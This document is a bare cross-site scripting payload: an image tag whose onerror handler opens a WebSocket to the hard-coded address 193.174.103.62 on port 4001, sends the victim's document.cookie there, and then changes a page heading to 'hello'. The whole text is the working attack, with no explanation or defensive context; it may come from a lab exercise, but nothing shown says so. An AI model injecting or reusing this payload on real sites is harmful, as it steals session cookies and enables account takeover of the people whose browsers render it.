<img src='x' onerror='let x = 1; 
    function send_cookie_data() {
        let websocket_portnumber = 4001;
        let hostname = "193.174.103.62";
        console.log(`attemping to send the cookie data to a websocket at ws://${hostname}:${websocket_portnumber}`);

        socket = new WebSocket(`ws://${hostname}:${websocket_portnumber}`);
        socket.onopen = function (e) {
            socket.send(document.cookie);
        };
    }
send_cookie_data(); document.querySelector("h4").innerHTML = "hello"; '>







